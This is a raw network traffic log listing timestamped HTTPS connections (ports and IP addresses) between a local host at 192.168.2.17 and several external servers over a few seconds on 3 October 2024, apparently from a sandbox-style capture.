Oct 3, 2024 17:19:08.298347950 CEST	443	55835	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.298588991 CEST	55835	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.298600912 CEST	443	55835	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.298619032 CEST	55835	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.343415022 CEST	443	55835	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.346267939 CEST	55835	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.398443937 CEST	443	55834	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:08.398629904 CEST	443	55834	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:08.398693085 CEST	55834	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:08.399616003 CEST	55834	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:08.399636984 CEST	443	55834	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:08.407233000 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:08.407264948 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:08.407335997 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:08.407598019 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:08.407607079 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:08.583764076 CEST	443	55832	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.583894968 CEST	443	55832	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.584059000 CEST	55832	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.584602118 CEST	55832	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.584629059 CEST	443	55832	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.591204882 CEST	443	55835	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.591315985 CEST	443	55835	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.591403961 CEST	55835	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.591820002 CEST	55835	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.591833115 CEST	443	55835	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.598243952 CEST	443	55833	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.598345041 CEST	443	55833	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.598562002 CEST	55833	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.601104021 CEST	55833	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.601121902 CEST	443	55833	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:09.300105095 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.304148912 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.304167032 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.305449009 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.305979967 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.306179047 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.306221008 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.347409964 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.354249001 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.597196102 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.597266912 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.597287893 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.597307920 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.597315073 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.597335100 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.597335100 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.597357988 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.597378969 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.597438097 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.597446918 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.601938963 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.602006912 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.602025032 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.602030993 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.602080107 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.684813023 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.684874058 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.684894085 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.684900045 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.684936047 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.684952974 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.686068058 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.686111927 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.686140060 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.686144114 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.686192989 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.687489033 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.687530041 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.687572002 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.687575102 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.687613010 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.687659979 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.687709093 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.688009977 CEST	55836	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:09.688023090 CEST	443	55836	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:09.715342999 CEST	55838	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:09.715398073 CEST	443	55838	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:09.715467930 CEST	55838	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:09.715689898 CEST	55838	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:09.715704918 CEST	443	55838	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:09.720612049 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:09.720640898 CEST	443	55839	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:09.720698118 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:09.721225023 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:09.721232891 CEST	443	55840	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:09.721287012 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:09.721431017 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:09.721446991 CEST	443	55839	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:09.721668005 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:09.721682072 CEST	443	55840	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.346461058 CEST	443	55839	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.346872091 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.346909046 CEST	443	55839	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.348469019 CEST	443	55839	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.348540068 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.348998070 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.349082947 CEST	443	55839	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.349304914 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.349314928 CEST	443	55839	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.375632048 CEST	443	55838	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:10.375873089 CEST	55838	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:10.375890017 CEST	443	55838	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:10.376291037 CEST	443	55838	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:10.376584053 CEST	55838	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:10.376646042 CEST	443	55838	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:10.376728058 CEST	55838	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:10.401371002 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.423398972 CEST	443	55838	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:10.527431011 CEST	443	55840	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.527831078 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.527856112 CEST	443	55840	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.528975010 CEST	443	55840	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.529304028 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.529460907 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.529475927 CEST	443	55840	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.529479980 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.575252056 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.575263023 CEST	443	55840	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.635334969 CEST	443	55839	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.635443926 CEST	443	55839	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.635512114 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.635863066 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.635885954 CEST	443	55839	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.635895014 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.635962963 CEST	55839	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.637002945 CEST	55841	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.637046099 CEST	443	55841	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.637118101 CEST	55841	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.637398958 CEST	55841	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.637413025 CEST	443	55841	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.822690964 CEST	443	55840	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.822921991 CEST	443	55840	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.823014021 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.823369026 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.823393106 CEST	443	55840	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:10.823401928 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:10.823514938 CEST	55840	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:11.278924942 CEST	55842	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:11.278975964 CEST	443	55842	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:11.279079914 CEST	55842	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:11.279320955 CEST	55842	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:11.279337883 CEST	443	55842	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:11.393418074 CEST	55843	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:11.393456936 CEST	443	55843	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:11.393527985 CEST	55843	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:11.393749952 CEST	55843	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:11.393762112 CEST	443	55843	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:11.406394005 CEST	55846	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.406402111 CEST	443	55846	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:11.406471014 CEST	55846	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.406753063 CEST	55846	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.406761885 CEST	443	55846	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:11.489290953 CEST	443	55841	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:11.489738941 CEST	55841	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:11.489761114 CEST	443	55841	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:11.490235090 CEST	443	55841	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:11.490736008 CEST	55841	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:11.490811110 CEST	443	55841	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:11.490936041 CEST	55841	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:11.490959883 CEST	55841	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:11.490963936 CEST	443	55841	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:11.578028917 CEST	443	55838	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:11.578175068 CEST	443	55838	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:11.578295946 CEST	55838	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:11.578738928 CEST	55838	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:11.578769922 CEST	443	55838	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:11.595901012 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:11.595953941 CEST	443	55847	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:11.596044064 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:11.596256018 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:11.596275091 CEST	443	55847	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:11.782165051 CEST	443	55841	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:11.782279015 CEST	443	55841	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:11.782572985 CEST	55841	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:11.783483982 CEST	55841	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:11.783499956 CEST	443	55841	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:11.786706924 CEST	55848	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:11.786740065 CEST	443	55848	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:11.786815882 CEST	55848	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:11.787058115 CEST	55848	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:11.787070036 CEST	443	55848	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:11.908998013 CEST	443	55846	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:11.909307003 CEST	55846	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.909339905 CEST	443	55846	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:11.912477016 CEST	443	55842	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:11.912707090 CEST	55842	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:11.912738085 CEST	443	55842	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:11.913053036 CEST	443	55846	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:11.913055897 CEST	443	55842	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:11.913126945 CEST	55846	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.913425922 CEST	55842	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:11.913486958 CEST	443	55842	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:11.913674116 CEST	55846	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.913674116 CEST	55846	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.913722038 CEST	55846	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.913758039 CEST	443	55846	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:11.913811922 CEST	55846	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.914036989 CEST	55849	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.914067984 CEST	443	55849	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:11.914129972 CEST	55849	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.914206028 CEST	55842	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:11.914376974 CEST	55849	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:11.914391994 CEST	443	55849	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:11.959398031 CEST	443	55842	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:12.036837101 CEST	443	55843	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:12.037241936 CEST	55843	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:12.037262917 CEST	443	55843	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:12.037969112 CEST	443	55843	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:12.038310051 CEST	55843	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:12.038367033 CEST	443	55843	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:12.087246895 CEST	55843	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:12.268228054 CEST	443	55842	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:12.268316031 CEST	443	55842	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:12.268408060 CEST	55842	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:12.271692991 CEST	55842	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:12.271733046 CEST	443	55842	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:12.343400002 CEST	55850	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:12.343429089 CEST	443	55850	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:12.343497992 CEST	55850	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:12.345767021 CEST	55850	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:12.345783949 CEST	443	55850	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:12.441452980 CEST	443	55849	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:12.441737890 CEST	55849	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:12.441747904 CEST	443	55849	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:12.444763899 CEST	443	55849	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:12.444865942 CEST	55849	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:12.445163965 CEST	55849	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:12.445241928 CEST	443	55849	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:12.486356974 CEST	55849	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:12.486365080 CEST	443	55849	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:12.487797022 CEST	443	55847	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:12.488015890 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.488044977 CEST	443	55847	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:12.489048958 CEST	443	55847	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:12.489137888 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.489459038 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.489521980 CEST	443	55847	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:12.489667892 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.489677906 CEST	443	55847	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:12.534254074 CEST	55849	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:12.534270048 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.806158066 CEST	443	55848	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:12.806524992 CEST	55848	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:12.806560040 CEST	443	55848	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:12.806874037 CEST	443	55848	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:12.807328939 CEST	55848	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:12.807396889 CEST	443	55848	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:12.807475090 CEST	55848	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:12.811505079 CEST	443	55847	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:12.811705112 CEST	443	55847	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:12.811969995 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.812005997 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.812026024 CEST	443	55847	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:12.812036037 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.812072039 CEST	55847	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.813043118 CEST	55851	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.813093901 CEST	443	55851	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:12.813167095 CEST	55851	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.813407898 CEST	55851	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:12.813426971 CEST	443	55851	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:12.855401039 CEST	443	55848	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:12.980881929 CEST	443	55848	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:12.980962038 CEST	443	55848	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:12.981038094 CEST	55848	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:12.982412100 CEST	55848	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:12.982435942 CEST	443	55848	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:13.368102074 CEST	443	49755	185.36.140.14	192.168.2.17
Oct 3, 2024 17:19:13.368202925 CEST	443	49755	185.36.140.14	192.168.2.17
Oct 3, 2024 17:19:13.368352890 CEST	49755	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:19:13.670429945 CEST	443	55851	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:13.670892954 CEST	55851	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:13.670918941 CEST	443	55851	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:13.671308994 CEST	443	55851	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:13.671647072 CEST	55851	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:13.671725035 CEST	443	55851	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:13.671808958 CEST	55851	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:13.671823025 CEST	55851	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:13.671830893 CEST	443	55851	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:13.843986034 CEST	443	55850	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:13.844369888 CEST	55850	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:13.844398975 CEST	443	55850	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:13.845499992 CEST	443	55850	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:13.845583916 CEST	55850	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:13.845592976 CEST	443	55850	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:13.845854044 CEST	55850	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:13.846775055 CEST	55850	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:13.846837044 CEST	443	55850	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:13.846965075 CEST	55850	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:13.846972942 CEST	443	55850	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:13.888294935 CEST	55850	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:13.937295914 CEST	49755	443	192.168.2.17	185.36.140.14
Oct 3, 2024 17:19:13.937338114 CEST	443	49755	185.36.140.14	192.168.2.17
Oct 3, 2024 17:19:13.937697887 CEST	55853	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:19:13.937728882 CEST	443	55853	142.250.186.100	192.168.2.17
Oct 3, 2024 17:19:13.937818050 CEST	55853	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:19:13.938030958 CEST	55853	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:19:13.938040972 CEST	443	55853	142.250.186.100	192.168.2.17
Oct 3, 2024 17:19:14.005975962 CEST	443	55851	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:14.006061077 CEST	443	55851	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:14.006241083 CEST	55851	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:14.006661892 CEST	55851	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:14.006681919 CEST	443	55851	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:14.011621952 CEST	55855	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:14.011713982 CEST	443	55855	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:14.011816978 CEST	55855	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:14.012049913 CEST	55855	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:14.012090921 CEST	443	55855	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:14.045582056 CEST	55850	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:14.045680046 CEST	443	55850	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:14.045775890 CEST	55850	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:14.049330950 CEST	55856	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:14.049370050 CEST	443	55856	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:14.049444914 CEST	55856	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:14.049774885 CEST	55856	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:14.049791098 CEST	443	55856	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:14.051606894 CEST	55843	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:14.095431089 CEST	443	55843	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:14.363965034 CEST	443	55843	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:14.364156961 CEST	443	55843	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:14.364336014 CEST	55843	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:14.365041971 CEST	55843	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:14.365061998 CEST	443	55843	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:14.367520094 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:14.367624998 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:14.371536016 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:14.371786118 CEST	55857	443	192.168.2.17	18.139.38.244
Oct 3, 2024 17:19:14.371825933 CEST	443	55857	18.139.38.244	192.168.2.17
Oct 3, 2024 17:19:14.624299049 CEST	443	55853	142.250.186.100	192.168.2.17
Oct 3, 2024 17:19:14.624624014 CEST	55853	443	192.168.2.17	142.250.186.100
Oct 3, 2024 17:19:14.624649048 CEST	443	55853	142.250.186.100	192.168.2.17
Oct 3, 2024 17:19:14.625837088 CEST	443	55853	142.250.186.100	192.168.2.17
Oct 3, 2024 17:19:14.626163006 CEST	55853	443	192.168.2.17	142.250.186.100
